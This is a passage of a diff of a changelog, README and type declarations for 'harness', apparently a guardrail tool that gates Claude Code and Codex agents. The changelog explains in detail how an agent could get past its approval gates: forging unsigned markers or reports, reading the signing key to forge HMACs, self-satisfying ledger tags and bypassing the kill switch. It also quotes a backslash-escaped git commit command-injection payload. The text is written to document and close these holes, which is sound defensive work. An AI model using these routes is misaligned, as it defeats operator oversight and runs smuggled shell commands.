`tests/io/claude-mcp.test.ts` (7 for the `gc` option — remove branch with exact commands, ownership boundary, still-desired/drifted-content protection, idempotence, registry-read-error, cli-missing, gc-omitted-is-unchanged — plus 2 for `manualRemoveLines`), plus 5 new wizard-level tests in `tests/cli/init-interactive.test.ts` (the `.last-apply` snapshot union, the conservative no-snapshot fallback, the `DEFAULT_OWNED_MCP_SERVERS`-exclusion guard across a profile switch, an apply-succeeds MCP-only edit, and a combined MCP-removal + new-pack/hook edit). Docs: `docs/ARCHITECTURE.md`.
|
|
37
|
+
- **`persistStdinReport`'s parse-error log now carries `malformedSections`; the schema hint spells out the `(list)` rule** (task `7e29e5d7`, externalRef `be98cd96:followup-harness-log-field`, follow-up to agent-grounding PR #154, PR #373). `understanding-gate`'s `ParseError` grew an optional `malformedSections` field (a `(list)` section is present but its body is prose); `persistStdinReport` now carries it into the parse-error log with a defensive `?? []` default, harmless against the pinned 0.4.x line. `renderReportSchemaHint` now states explicitly that `(list)` sections need markdown list items (`'- '` or `'1.'`) and that prose bodies are rejected — the stumbling block of the 2026-07-22 live incident. New tests: `tests/cli/approve-stdin-report.test.ts`, `tests/cli/pack-understanding-report-schema-hint.test.ts`.
|
|
38
|
+
- **`harness adopt`'s MCP drift check and `harness init --probe`'s team/full detection now read the effective Claude Code user-scope registry instead of the dead `settings.json` block** (task `83d8d03a`, PR #358, closes a known limitation the `init-mcp-wiring-claude-code` entry above named). Both consumers now share the exported `readTopLevelMcpServers` primitive to read the live, top-level `mcpServers` block in `~/.claude.json` (`CLAUDE_CONFIG_DIR`-aware) — no new writer on `~/.claude.json` and no `claude` CLI spawn in either path. The dead `settings.json` block is still detected, but surfaced only as a cleanup warning, never mistaken for drift. `AdoptResult` gains `deadSettingsMcpNames` and `registryReadError`; `detect` gains `mcpRegistryParseError` and drops the now-dead `settingsParseError` field. New tests: updates to `tests/cli/adopt.test.ts`, `tests/cli/init-detect.test.ts`, `tests/cli/init-interactive.test.ts`, `tests/cli/program.test.ts`.
|
|
39
|
+
- **All 8 OKF knowledge-bundle docs were re-verified against current sources, with several corrections substantive rather than just line-number drift** (PR #353, task `93c004a6`, first upkeep sweep after the warn-only staleness watch went live).
|
|
40
|
+
|
|
41
|
+
## [0.41.0] - 2026-07-16
|
|
42
|
+
|
|
43
|
+
### Security
|
|
44
|
+
|
|
45
|
+
- **The understanding-gate approval marker (and its branch-protection twin) is now HMAC-signed, closing the "existence is enough" filesystem-marker forgery hole — the persisted-report approval path is a separate, still-unsigned residual, see below** (task f9485cc7, M10 / Feature idea #7, promised in the `[0.32.0]` entry's "cryptographic marker signing... is a tracked follow-up" note). The marker's integrity used to rest entirely on an UNENFORCED invariant — "no configured MCP exposes a filesystem-write primitive" — checked nowhere; one future MCP tool with local file-write would silently reopen it, since its tool name wouldn't match the `Edit|Write|Bash` blocker matcher, and the marker's contract was "existence is enough" (a bare filesystem-write forged it). `harness approve understanding` now writes an HMAC-SHA256 signature over `(markerId, approvedAt, approvedBy, reportContentHash)` — `reportContentHash` is the sha256 of the persisted Understanding Report bound to this approval; this is groundwork only, NOT yet enforced at gate-check time (the live cross-check against the currently-selected report is the C1 staleness follow-up, task fa423e9b) — using an operator-side key lazily generated (`crypto.randomBytes(32)`, mode `0600`) at `<generatedDir>/.approval-signing.key`. `checkApprovalMarker` (shared by the session marker, task-scoped markers, and `checkBranchProtectionMarker`) now REJECTS a marker with a missing or invalid signature — matched:false, same as no marker, but with a distinct `forged/unsigned marker rejected` diagnostic surfaced through both the Claude and Codex PreToolUse hooks and the branch-protection hook, so an operator/auditor can tell an active forgery attempt (or a pre-signing legacy marker) apart from the routine "never approved" case. Binding `markerId` into the signature also means the "copy a marker onto a new session id" admin trick this doc used to describe no longer works — a copied marker fails verification. **Back-compat is strict, no migration window**: a marker written before this shipped has no `signature` field and is rejected exactly like a forgery; re-run `harness approve understanding` (and/or `harness approve branch-protection`) once after upgrading a machine with a live approval.
|
|
46
|
+
- **What is NOT closed by this task (read before assuming more than it delivers).** (1) The **persisted-report approval path** (`checkPersistedReport`, consulted by both PreToolUse hooks with EQUAL authority immediately after a forged marker is correctly rejected) is **not signed at all** and, under this task's own threat model (a future write primitive the `Edit|Write|Bash` matcher doesn't cover), is an **equal-or-easier** forgery target than the marker used to be: no signing key to read, no sessionId match required (the gate-read path's tolerant fallback is `"any"`, unrestricted by age), just a JSON file with `approvalStatus: "approved"` dropped into the reports dir. Tracked as follow-up **task `7402301d-14bb-4b03-8d88-a2bb8bad8084`**. (2) The `solution-acceptance` pack's verdict marker remains unsigned (tracked separately, `[0.32.0]` note). (3) An agent with BOTH arbitrary local file-read (true today, by design — the blocker never gates `Read`) AND a write primitive the `Edit|Write|Bash` matcher doesn't cover can still forge a validly-signed marker: read the key, compute the HMAC, write the result through the uncovered path — signing does not close that combined case, only the narrower, previously totally-undefended write-only-forgery case, and it makes any attempt materially more expensive and forensically visible. Given the agent and operator share one OS user account, this is deliberate defense-in-depth, not a hard authorization boundary; full write-up in `src/runtime/approval-signing.ts` and `docs/policy-packs/understanding-before-execution.md` "Marker signing". (4) An interim MCP-catalog write-capability warning at `init`/smoke time was considered but did not fall out naturally from this change and is left as a candidate follow-up.
|
|
47
|
+
- New tests: `tests/runtime/approval-signing.test.ts` (key generation/persistence/corruption-recovery/rotation, sign/verify round-trip, tamper + wrong-markerId + missing-field rejections), forgery + tamper-mutation regressions in `tests/policy-packs/runtime.test.ts`, `tests/io/read-regular-file-unreadable.test.ts`, `tests/cli/pack-hook-pre-tool-use.test.ts`, `tests/cli/pack-hook-codex-pre-tool-use.test.ts`, and `tests/cli/pack-hook-branch-protection.test.ts`.
|
|
48
|
+
|
|
49
|
+
### Added
|
|
50
|
+
|
|
51
|
+
- **Warn-only OKF staleness watch on every PR** (`.github/workflows/okf-staleness.yml`, PR #350): runs `okf-kit check` (exact pin 0.3.1) against `docs/okf`, surfaces STALE/structural findings as per-doc annotations plus a full job summary, never blocks a merge; tool errors fail red so a broken check cannot look green. Canonical pattern for the five OKF bundle repos; never mark it required in branch protection.
|
|
52
|
+
- **`harness pack reseed <name>` pulls a pack's shipped `config.ux` (and `config.producers`) into an already-installed manifest** (task 68b9ad9c). Before this, a deny-message wording fix in the init templates (e.g. the heredoc submission form, `agent-tasks/e48e3b45`) only reached manifests generated by a fresh `harness init` AFTER the fix shipped: `harness apply` only ever projects the manifest OUT to `settings.json`, nothing propagated a template fix back INTO an operator's existing `policy_packs[].config.ux`, so an already-installed manifest kept teaching stale wording indefinitely, even after the CLI itself was upgraded. `harness doctor` now also warns when an enabled pack's `config.ux` / `config.producers` textually diverges from the CLI's shipped default for that pack — compared against the pack's OWN configured `mode` (`understanding-before-execution`'s `required:` line varies by mode), not a hardcoded one, so switching modes is never mistaken for drift. Both the warning and the reseed write share one canonical source per pack (`defaultUx()` / `defaultProducers()` in `src/policy-packs/builtin/understanding-before-execution.ts` and `src/policy-packs/builtin/branch-protection.ts`, wired through the new `resolveBuiltinDefaultConfig` in `src/policy-packs/registry.ts`), so the check and the fix can never independently drift on what "the shipped template" means; the `init` Custom composer (`src/cli/init/composer.ts`) now reads from the same source instead of carrying its own copy of the literal text. `reseed` is deliberately explicit-only — never invoked by `apply`, `doctor`, or any automatic path — and only ever touches `config.ux` / `config.producers`, leaving every other key on the pack entry (`mode`, `approval_lifecycle`, `permission_profile`, `min_version`, ...) untouched, so an operator's own deliberate ux customisation is never silently clobbered by an upgrade (the same reasoning `harness adopt` exists for in the opposite direction). `--dry-run` prints the diff without writing; a pack whose `config.ux` already matches the shipped default is a no-op. `solution-acceptance` has no registered shipped default (ships `enabled: false` with no `config:` block in any template) and is reported clearly as such rather than silently reseeded with nothing. A new parity test, `tests/cli/init-templates-ux-parity.test.ts`, pins FULL_TEMPLATE / SOLO_TEMPLATE / TEAM_TEMPLATE (`src/cli/init/templates.ts`, `src/cli/init/profiles.ts`) and the Custom composer's `config.ux` / `config.producers` against `defaultUx()` / `defaultProducers()`, so a future wording fix landed in a template WITHOUT updating those functions (which would make `reseed` silently pull operators back to the stale wording — the same bug class one layer removed) fails the build instead of shipping unnoticed; matching "KEEP IN SYNC" comments were added at each template's `ux:` / `producers:` block. New tests: `tests/policy-packs/ux-compare.test.ts`, `tests/policy-packs/ux-drift-check.test.ts`, `tests/policy-packs/builtin-default-config.test.ts`, `tests/cli/pack-reseed.test.ts`, `tests/cli/init-templates-ux-parity.test.ts`, plus new `doctor` coverage in `tests/cli/doctor.test.ts`. Docs: `docs/policy-packs/understanding-before-execution.md` ("Refreshing `config.ux` after a harness upgrade"), `docs/policy-packs/branch-protection.md`, `docs/CLI.md`. `check:duplication`'s `MAX_CLONES` pin raised 82→86 with a recorded justification (`scripts/check-duplication.mjs`): the new `cli/pack/reseed.ts` necessarily clones the validate/lock/diff/write shape already repeated undeduped across `add`/`remove`'s CLI and `pack add`/`pack remove`.
|
|
53
|
+
- **Codex sessions now get the active-claim tracker and the stay-in-scope reminder too** (task cf4cdc93, closes `docs/okf/codex-adapter-parity-gaps.md` gap #3, the last hook-parity gap between the two runtimes). Before this, `harness pack hook track-active-claim` (writes/clears `harness.generated/active-claim` on `task_start`/`task_finish`/`task_abandon` so `harness approve understanding` can auto-resolve `--task`) and `harness pack hook stay-in-scope` (soft reminder + audit row on a review-derived follow-up task) were Claude-only: a Codex session could honor an existing task-scoped marker but could never produce the active-claim file itself, and got no stay-in-scope reminder at all.
|
|
54
|
+
- **No new Codex-specific CLI verb needed, unlike the other Codex hooks.** Both hook bodies (`src/cli/pack/hook-track-active-claim.ts`, `src/cli/pack/hook-stay-in-scope.ts`) needed no session-id resolution and no shell-command extraction the way `codex-post-tool-use`/`codex-pre-tool-use` need. `harness apply --runtime codex` now emits two more `[[hooks.PostToolUse]]` groups running the SAME commands (`harness pack hook track-active-claim` / `harness pack hook stay-in-scope`) as the Claude branch — the Codex adapter now contributes 6 hooks total, matching the Claude branch's hook roster.
|
|
55
|
+
- **Same two-layer alias fix task a1348c89 established, applied to these two hooks.** The existing Claude matchers (`TRACK_ACTIVE_CLAIM_MATCH`, `STAY_IN_SCOPE_MATCH`) are anchored `^(?:...)$` regexes that `expandCodexHookMatchPattern`'s "simple token" guard passes through UNCHANGED at TOML-emit time, so a Codex session sending an MCP tool-name variant (server hyphen/underscore swap, the `mcp__server__.tool` dotted form) would never reach the hook at all. Fixed with new Codex-specific bare `|`-joined sibling constants (`TRACK_ACTIVE_CLAIM_MATCH_CODEX`, `STAY_IN_SCOPE_MATCH_CODEX`, same shape as `codexPostToolUseMatchPattern`'s output). Both hook bodies' tool-name comparisons were also switched from raw `===`/`.includes` to the shared alias-aware `toolNameMatchesAny` (`understanding-before-execution-runtime.ts`) so a variant `tool_name` the widened matcher now routes to the hook is also recognized once inside it — closing the same class of dispatcher-vs-body gap task a1348c89 fixed once already for the marker-expiry hook.
|
|
56
|
+
- **Review finding, same task, empirically confirmed (MEDIUM): the two hooks read ONLY `tool_name`/`tool_input`, silently no-op-ing on the field-name synonyms the Codex envelope also tolerates.** `hook-codex-post-tool-use.ts` already accepts `tool` as a `tool_name` synonym and `raw_input` as a `tool_input` synonym (`pickString(event.tool_name, event.tool)`, `resolveToolInput`); `track-active-claim` and `stay-in-scope` did not, so a probe of `{ tool_name, raw_input: { taskId } }` or `{ tool, tool_input: { taskId } }` silently no-op'd in the two new hooks while the sibling hook worked. Fixed by extracting `pickString` (already shared) and a new `resolveToolInput` into `src/cli/pack/hook-bootstrap.ts` and consuming both from the two new hooks, rather than a third/fourth hand-copy. `stay-in-scope`'s `tool_response` taskId fallback (a Claude-side convention the Codex envelope may not carry) was deliberately left reading the field as-is, not folded into the `tool_input`/`raw_input` resolution. New tests cover the `raw_input`-only shape, the `tool`-only shape, `tool_input`-over-`raw_input` precedence, the still-working `tool_response` fallback, and a negative control (neither name field present still skips).
|
|
57
|
+
- New tests: dispatcher-layer pins in `tests/policy-packs/expand.test.ts` (hook count/roster, matcher values, alias-expansion, always-on-regardless-of-`approval_lifecycle`-config parity with the Claude opt-out) and `tests/cli/apply/generate-codex-config.test.ts` (real `expandPolicyPacks` + `generateCodexConfig` output, positive + negative control on the actual emitted TOML matchers — the must-pass control this task's brief asked for); hook-body alias-variant AND wire-format-synonym tests in `tests/cli/pack-hook-track-active-claim.test.ts` and `tests/cli/pack-hook-stay-in-scope.test.ts` (canonical + dotted + underscore-server tool-name forms, a `tasks_transition` status-filter-under-aliasing negative control mirroring the a1348c89 regression guard, plus the `tool`/`raw_input` synonym coverage above). Docs updated: `docs/policy-packs/understanding-before-execution.md`, `docs/CLI.md`, `docs/okf/codex-adapter-parity-gaps.md`.
|
|
58
|
+
- **Codex sessions now expire the understanding-gate approval marker on task-completion boundaries** (task a1348c89, follow-up to the `[0.39.0]` task e7c2ec3c TTL/task-marker parity fix, whose entry named this exact residual). Before this, a Codex approval marker survived every `task_finish` / `task_abandon` / `pull_requests_merge` and only died via `approval_lifecycle.max_age` or a manual `rm`.
|
|
59
|
+
- `harness apply --runtime codex` now also emits a `[[hooks.PostToolUse]]` group running the new `harness pack hook codex-post-tool-use`, sharing its match/clear/diagnostic logic with the existing Claude `post-tool-use` hook through three functions extracted into `understanding-before-execution-runtime.ts` (`matchPostToolUseBoundary`, `applyPostToolUseExpiry`, `describePostToolUseExpiry`) — the same drift-avoidance pattern task e7c2ec3c used on the PreToolUse side. Advisory only (never blocks; every error path is exit 0 + stderr). The Codex `[[hooks.PostToolUse]]` TOML schema support already existed in the generator (PR #211, real Codex 0.131.0 schema); this task contributes the pack-side hook and CLI verb that consume it.
|
|
60
|
+
- **Also fixes (review finding, same task): MCP tool-name variants a runtime may emit for the identical tool** (server hyphen/underscore swap, the `mcp__server__.tool` dotted form) **are now handled at BOTH layers this feature needs.** (1) Dispatcher layer: the Codex `PostToolUse` `match` field is now built by a new `codexPostToolUseMatchPattern` (bare `|`-joined list) instead of the Claude `postToolUseMatchPattern` helper (anchored `^(?:...)$` regex) — the anchor characters silently defeated `generate-codex-config.ts`'s `expandCodexHookMatchPattern` alias expansion, so Codex's own dispatcher would never have invoked the hook at all for a variant `tool_name`. (2) Hook-body layer: `toolNameMatchesAny` (`understanding-before-execution-runtime.ts`) now expands the incoming `tool_name` through the same `expandToolNameAliases` normalization `harness policy intercept`'s `policyMatchesEvent` already applies, so the body's `expire_on_tool_match` comparison recognizes a variant too. The legacy v1 `tasks_transition` status filter is alias-aware now as well, closing a status-filter-bypass the body-only half of this fix would otherwise have introduced (a variant `tasks_transition` call would have matched generally but skipped the `status === "done"` check entirely). Verified both fixes independently via mutation testing (each reverts to the pre-fix behavior red before the fix, green after).
|
|
61
|
+
- **Known limitation at the time of task a1348c89, shared with Claude Code, not Codex-specific** (since closed in this same Unreleased batch by task bea04a03, see Fixed below): `approval_lifecycle.expire_on_bash_match` was not yet routed to the PostToolUse hook on either runtime — the hook's trigger matched only `expire_on_tool_match` verbs, so a real `Bash`/`shell`/`exec_command` call did not invoke the hook on Codex OR Claude. Was tracked as a follow-up (agent-tasks bea04a03); see `docs/okf/codex-adapter-parity-gaps.md` gap 12.
|
|
62
|
+
- 29 new tests in `tests/cli/pack-hook-codex-post-tool-use.test.ts` (Claude-suite parity coverage, Codex-specific synonyms/aliases, MCP tool-name-variant matching, a `tasks_transition`-under-aliasing regression guard, an integration must-pass control proving the expiry re-locks the PreToolUse blocker), plus new dispatcher-layer pins in `tests/policy-packs/expand.test.ts` and `tests/cli/apply/generate-codex-config.test.ts` (real `expandPolicyPacks` + `generateCodexConfig` output, positive + negative control on the actual emitted TOML matcher). Docs updated: `docs/policy-packs/understanding-before-execution.md`, `docs/CLI.md`, `docs/okf/codex-adapter-parity-gaps.md`.
|
|
63
|
+
|
|
64
|
+
### Fixed
|
|
65
|
+
|
|
66
|
+
- **`harness doctor` exits 1 when the report contains errors** (PR #342), so CI and scripts can gate on it instead of parsing text.
|
|
67
|
+
- **`harness doctor` survives a spawn ENOENT on a missing MCP/CLI binary** (PR #340) and reports the missing binary as a finding instead of crashing the whole report.
|
|
68
|
+
- **`harness pause` no longer recommends the broken `!`-prefix advice** (PR #341): a `!`-shell inherits the session env, so the operator-only guardrail fired anyway; the agent-shell bypass is now denied at the policy layer instead (see the operator_only entry above for the policy primitive that grew out of this).
|
|
69
|
+
- **Four reference-doc statements that had drifted from code were corrected** (PR #339, task 6a79738e, found by the OKF wave-1 fact-check).
|
|
70
|
+
- **`harness preflight` no longer reports a false `failing: npm-test` when the operator has non-empty real harness state** (task 6ffa5672; third incident of the operator-state-isolation class PR #199 pinned, after the v0.21.1 preflight-stage and v0.22.0 approveUnderstanding leaks). The launcher (`src/cli/main.ts`) sets `HARNESS_ALLOW_REAL_GENERATED_DIR=1` for the real binary; `spawnPreflight` passed no `env` to `execFile`, so agent-preflight and its nested `npm test` vitest run inherited the flag, re-enabling the implicit real-homedir fallback INSIDE the test processes. With a real `harness pause` sentinel present, 110 tests across 9 files failed (intercept tests receive "PAUSED since Nm ago" instead of policy output), the `npm-test` check went red, and the producer left the preflight tag unwritten with a misleading one-word reason, deterministically for as long as the sentinel existed. Reproduced safely via a fake `HOME` with a planted sentinel plus the flag (never against the real home dir). Fix: `spawnPreflight` now spawns the child with `preflightChildEnv()`, the parent env minus that single key; nothing else is scrubbed (PATH/HOME stay, preflight checks legitimately need the environment). Spawn-site audit alongside the fix: every other child harness starts is a git/version/install probe or a ledger/MCP client (none read the flag), or the deliberately operator-real `smoke` / runtime-reality commands, all left inheriting by design. Also fixed the diagnosability gap that made this expensive to find: `describeNotReady` now surfaces the failing check's own first `details` line (`failing: npm-test (<detail>)`, whitespace-collapsed, capped at 140 chars) instead of the bare check name, and the producer's `PreflightJson` slice learned the `details` field. New tests in `tests/cli/session-start/preflight.test.ts`: a pure `preflightChildEnv` unit (strips exactly the one key, does not mutate the parent env) and a real-spawn regression that drives `runSessionStartPreflight` WITHOUT the runner injection against a fake `preflight` binary on PATH recording its environment, asserting the flag is absent in the child while a sibling variable passes through, plus a pin on the enriched stderr detail. Mutation-verified: removing the `env:` option from the `execFile` call turns the spawn regression red.
|
|
71
|
+
- **SECURITY: policies can now express a genuine, unconditional operator-only deny — closing the self-satisfy hole PR #341 had to ship with permanent `harness validate` warnings** (task 2cc73f55). Every `block` policy previously had to carry a `requires.ledger_tag`, and the only satisfaction primitives the engine has — a ledger tag (writable in-session via `mcp__agent-grounding__ledger_add`) or a filesystem marker (operator-only only while a gate already locks Bash/Write down, circular on a default install) — are agent-satisfiable: whoever can write the ledger can open the gate (`docs/writing-custom-policies.md` tripwire 4). That left no honest way to say "the agent may NEVER do this and cannot self-satisfy it in-session"; PR #341's three pause/resume kill-switch policies (`deny-kill-switch-bypass`, `deny-session-env-strip`, `deny-pause-sentinel-forgery`) had to declare a `requires.ledger_tag` an agent could forge, ship with NO `producers:` on purpose, and accept 3 permanent self-attestation warnings as the honest signal. Fix: a new `operator_only: true` marker on `PolicySchema` (`src/schema/policies.ts`), mutually exclusive with `requires:` (declaring both is rejected) and valid only with `enforcement: block` (`warn` / `require_approval` already have their own always-evaluated evidence paths). `evaluateOnePolicy` (`src/runtime/intercept.ts`) short-circuits an `operator_only: true` policy to an unconditional `deny` BEFORE the requires pipeline runs at all — no ledger query, no template substitution — so no ledger write, marker file, or flag can ever flip it to allow, from ANY in-session evidence. `checkPolicySelfAttestation` (`src/cli/validate/checks.ts`) now recognises the form as correct-by-construction and emits neither the warning nor (under `--strict`) an error for it. All three PR #341 policies migrated onto the new form in both `src/cli/init/templates.ts` and `docs/examples/full-manifest.yaml` (kept in parity by `tests/cli/init-full-template-parity.test.ts`, which now also pins `operator_only` as a load-bearing field); the 3 permanent validate warnings are gone and `validate --strict` on the full template returns 0 errors. Existing `requires:`-carrying `block` policies are byte-for-byte unaffected (additive path only, pinned by the full pre-existing test suite passing unchanged). New tests: a dedicated `intercept()` suite (`tests/runtime/intercept.test.ts`) proving the ledger is never queried and a forge-all-signals case (exact tag content, spoofed `source: "operator"`, a `head:<sha>`-matching entry, a replayed `policy_decision` row) never flips the outcome, plus a defensive-branch test for a hand-built Policy object satisfying neither `requires:` nor `operator_only:` (degrades to `warn-degraded`, not a crash — unreachable through `parseManifest`, but not assumed unreachable at runtime); `tests/cli/init-full-template-kill-switch-deny.test.ts`'s former "SELF-SATISFY HOLE" cases are now "FORGE-ALL-SIGNALS" regression guards proving the hole stays closed; new `parseManifest` schema tests and three new invalid-fixture files (`docs/examples/invalid/24-26`) pin the `operator_only`/`requires` mutual-exclusion and enforcement restriction. Mutation-verified: temporarily removing the `operator_only` short-circuit in `evaluateOnePolicy` turns the forge-all-signals tests red — with the migrated no-`requires:` policies, disabling only the short-circuit lands them in the `requires === undefined` defensive branch, so the outcome becomes `warn-degraded` (`blockJson: null`) rather than `deny`, not an `allow`; the forged ledger entries never even participate, since nothing queries the ledger either way. Reproducing the actual pre-fix `allow` would require reverting the whole task (the short-circuit AND the `requires` → `operator_only` migration together), which is a stronger, not weaker, confirmation that the tests exercise the fix. Docs: new "Recipe C: operator-only unconditional deny" in `docs/writing-custom-policies.md`, updated field-reference tables there and in `docs/ARCHITECTURE.md` §6, and `docs/okf/pause-vs-gate-kill-switch.md` rewritten to describe the fix instead of the (now closed) gap. Explicitly out of scope, left as a follow-up: migrating the `understanding-before-execution` / `branch-protection` packs' filesystem-marker "operator-only" claims onto this primitive (they remain forgeable in-session on a default install unless a gate already blocks all Bash) — the primitive now exists to state that trust model honestly when someone picks that follow-up up; also out of scope: `bash_match`'s own regex-coverage gaps against exotic shell shapes (heredocs, `sh -c`, base64), which is a trigger-matching problem, not a requires-satisfaction one, and remains as documented in PR #341.
|
|
72
|
+
- **`approval_lifecycle.expire_on_bash_match` now actually expires the marker end-to-end, on both runtimes** (task bea04a03, closes the gap the `a1348c89` entry above named "NOT fixed here" and `docs/okf/codex-adapter-parity-gaps.md` gap 12). The PostToolUse hook's trigger — the `matcher` field `harness apply` writes into `settings.json` (Claude) / `config.toml` (Codex) — was built ONLY from `approval_lifecycle.expire_on_tool_match`; a real `Bash`/`shell`/`exec_command`/`functions.exec_command` call never reached the hook at all, no matter how `expire_on_bash_match` was configured, so `matchPostToolUseBoundary`'s bash-regex check (which DOES correctly evaluate `expire_on_bash_match` once invoked) was unreachable in practice — a `gh pr merge` never re-armed the gate. Fix: `postToolUseMatchPattern` (Claude) and `codexPostToolUseMatchPattern` (Codex) in `understanding-before-execution.ts` now widen the emitted matcher with the Bash tool name / the Codex shell-tool aliases whenever `expire_on_bash_match` carries at least one pattern (new `resolveExpireOnBashMatchConfigured` presence check); the hook is now also emitted (instead of silently suppressed) when `expire_on_tool_match` is explicitly empty but `expire_on_bash_match` is configured. The widened tool names are NEVER folded into `expire_on_tool_match`'s own semantics — the hook body still classifies a matched Bash/shell call as a bash-regex match, not a tool-name match, exactly as before. New tests in `tests/policy-packs/expand.test.ts` (matcher-widening + empty-tool-list emitHook pins, both runtimes), `tests/cli/apply/generate-codex-config.test.ts` (real config.toml generator-layer pin), and `tests/cli/pack-hook-post-tool-use.test.ts` / `tests/cli/pack-hook-codex-post-tool-use.test.ts` (end-to-end: the REAL emitted matcher routes a `gh pr merge` Bash/shell call to the hook, which expires the marker, plus a negative control on a non-boundary tool) — the existing hook-body test suites had exercised `expire_on_bash_match` only by calling the hook CLI directly, bypassing the matcher construction that was actually broken. Docs updated: `docs/policy-packs/understanding-before-execution.md`, `docs/okf/codex-adapter-parity-gaps.md`.
|
|
73
|
+
- **SECURITY: the quote-aware recovery-commit metachar screen had a backslash-escaped-quote command-injection bypass, found and fixed before this landed** (task 6e888423, same bug class the 0.40.0 entry above already documents once for the `harness approve` heredoc matcher). `hasUnsafeMetachar`/`tokenize` (`src/runtime/recovery-git-commit.ts`) toggled quote state on every raw `"`/`'` with no concept of backslash-escaping, but bash does: `\"` outside a quote is a LITERAL `"` that does not open a quote context. A payload like `git commit -am a\" ; echo INJECTED ; \"` was therefore misread as one safely-quoted message — the classifier "entered" a phantom quote span at the escaped `"` and treated the live `;` inside it as inert text — while bash itself never entered a quote at all and ran `echo INJECTED` as a separate command. Confirmed end-to-end (classifier ADMIT + a real shell executing the injected command) for `;`, `||`, and `|` riding this exact shape, reachable exactly at `markerExpired === true`, the state the gate is supposed to hard-block everything in. Fix: reject any backslash anywhere in the command outright, before the quote-aware scan runs, rather than modeling bash's actual escape grammar (deliberately not attempted — too risky to get subtly wrong twice in one security boundary). Without a backslash present the naive quote-toggling matches bash's real quoting exactly, so this closes the whole escape-based attack surface at the cost of not admitting a message that happens to contain a literal backslash; the documented main case (this repo's own `Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>` trailer) has none. New regression tests pin all three confirmed injection payloads as rejected in the classifier unit suite AND in both the Claude and Codex PreToolUse hook suites (Codex shares the classifier and inherited the same bypass), and confirm the real trailer still converges.
|
|
74
|
+
- **The understanding-gate no longer hard-wedges the recovery `git commit` when `approval_lifecycle.max_age` expires mid-task** (task 6e888423). `max_age` (4h in the full template) expires the operator-approval marker independently of any task-completion boundary — correct for genuinely stale sessions, but it can also land mid-task during a long reviewer-amendment loop (apply fixes, wait on CI, iterate again). Before this fix, an agent finishing such a loop had its recovery `git commit` — the one that consolidates already-approved Edit/Write output into a new HEAD so `preflight`/solution-acceptance can re-pin their verdict there — hard-blocked exactly like any other Bash call, recoverable only via an operator-run `harness approve understanding` (agent-grounding frictions #2/#9/#58/#71; distinct from, and downstream of, the solution-acceptance/preflight-before-push livelock task 5fb64db9 already fixed). Reproduced live: an expired marker plus a bare `git commit` blocked with `approvalCheck.source: "none"`. Fix is narrow by design, not a general Bash whitelist: `checkApprovalMarker` now distinguishes `expired` (a real marker existed and aged past `max_age`) from merely absent (never approved, or cleared by a task-completion boundary tool via `clearApprovalMarker` — that case must keep hard-blocking so the gate still re-arms for the next task), threaded through `checkOperatorApprovalMarkers` so both the Claude and Codex PreToolUse hooks share one decision (`expired` is computed only on the non-matched path, so a matched marker never also reads `expired:true` even when a sibling marker is stale). A new classifier (`src/runtime/recovery-git-commit.ts`, `isRecoveryGitCommit`) admits only a bare, unchained `git commit` (`-a`/`--all`/`--allow-empty`/`-m`/`--message`/`-am`, any number of message flags — `-ma` is deliberately excluded, since getopt would parse it as `-m` with inline value `"a"` rather than `-a` plus a real message). The metachar screen is quote-aware: `;`/`&`/`|`/`<`/`>` are only dangerous OUTSIDE a quoted span (bash treats them as literal text inside single or double quotes) and are rejected there; a backtick or `$(...)` is rejected outside a quote AND inside a double-quoted span (both still expand it) but admitted inside a single-quoted span (fully inert); ANY backslash anywhere rejects the whole command outright (see the SECURITY entry above). This is what lets a real quoted commit-message trailer — including this very repo's own `Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>` convention, which needs the angle brackets — through without opening a metachar hole; an UNQUOTED chain/redirect/substitution still fails closed exactly as before. Any unrecognised flag also fails closed — `--amend` and `--no-verify` included. The exemption fires ONLY when both signals hold: `expired:true` proves this exact session/task had a real prior approval, and the classifier proves the command cannot smuggle other work or introduce new file content (everything in the working tree was itself produced by previously-gated Edit/Write/Bash). Edit/Write and every other Bash shape stay hard-gated regardless; a never-approved session's identical `git commit` still blocks; a task_finish-cleared marker's next commit still blocks (re-arm preserved). Mutation-verified via control/fix/convergence triples (including an inert-test guard carrying the real `<email>` trailer, which fails against the pre-fix quote-blind screen) in both the Claude and Codex PreToolUse hook test suites, plus a dedicated `isRecoveryGitCommit` unit-test suite covering the admit/reject boundary and the quote-aware metachar rule specifically.
|
|
75
|
+
|
|
8
76
|
## [0.40.0] - 2026-07-10
|
|
9
77
|
|
|
10
78
|
**Headline: `harness approve understanding` can finally persist the Understanding Report it approves.** Attach the report as a quoted heredoc on the command's stdin and the same run parses it, persists it session-bound, and flips it to `approved`, and the `report: ⚠ skipped` line that every approval printed is gone, and the audit trail is no longer structurally empty. The gate's escape matcher was rebuilt around a character whitelist after review found a shell-parse divergence that let a backslash-escaped redirect smuggle commands past it. Also: `init --template full` makes the runtime-reality hook discoverable, CI enforces coverage thresholds, the test suite runs on macOS, and the curated OKF knowledge bundle ships. Re-run `npm i -g @lannguyensi/harness` to upgrade.
|
package/README.md
CHANGED
|
@@ -144,6 +144,15 @@ profile (`solo` / `team` / `full` / `custom`) and writes a starting
|
|
|
144
144
|
`harness.yaml`. Ctrl-C aborts cleanly. Walkthrough +
|
|
145
145
|
limitations: [`docs/init-interactive.md`](docs/init-interactive.md).
|
|
146
146
|
|
|
147
|
+
Every enabled `tools.mcp[]` server is then registered with Claude
|
|
148
|
+
Code via `claude mcp add-json --scope user` — the surface Claude Code
|
|
149
|
+
actually reads for user-scope MCP servers; harness itself never
|
|
150
|
+
writes `~/.claude.json`. This step requires the `claude` CLI on
|
|
151
|
+
`$PATH`; if it's missing, the wizard warns and prints the equivalent
|
|
152
|
+
`claude mcp add-json` commands to run by hand instead of failing.
|
|
153
|
+
`harness doctor` includes a "Claude Code MCP Registration" section
|
|
154
|
+
that re-verifies the live registration via `claude mcp list`.
|
|
155
|
+
|
|
147
156
|
### Profiles at a glance
|
|
148
157
|
|
|
149
158
|
| Profile | External accounts / tools required | Best for |
|
|
@@ -60,6 +60,21 @@ export interface SettingsRootWithMcp extends SettingsRoot {
|
|
|
60
60
|
mcpServers?: Record<string, SettingsMcpSpec>;
|
|
61
61
|
}
|
|
62
62
|
export declare function parseSettingsMcpServers(raw: unknown): DerivedMcp[];
|
|
63
|
+
/**
|
|
64
|
+
* Project the effective Claude Code user-scope MCP registry — the
|
|
65
|
+
* top-level `mcpServers` map of `~/.claude.json` /
|
|
66
|
+
* `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
|
|
67
|
+
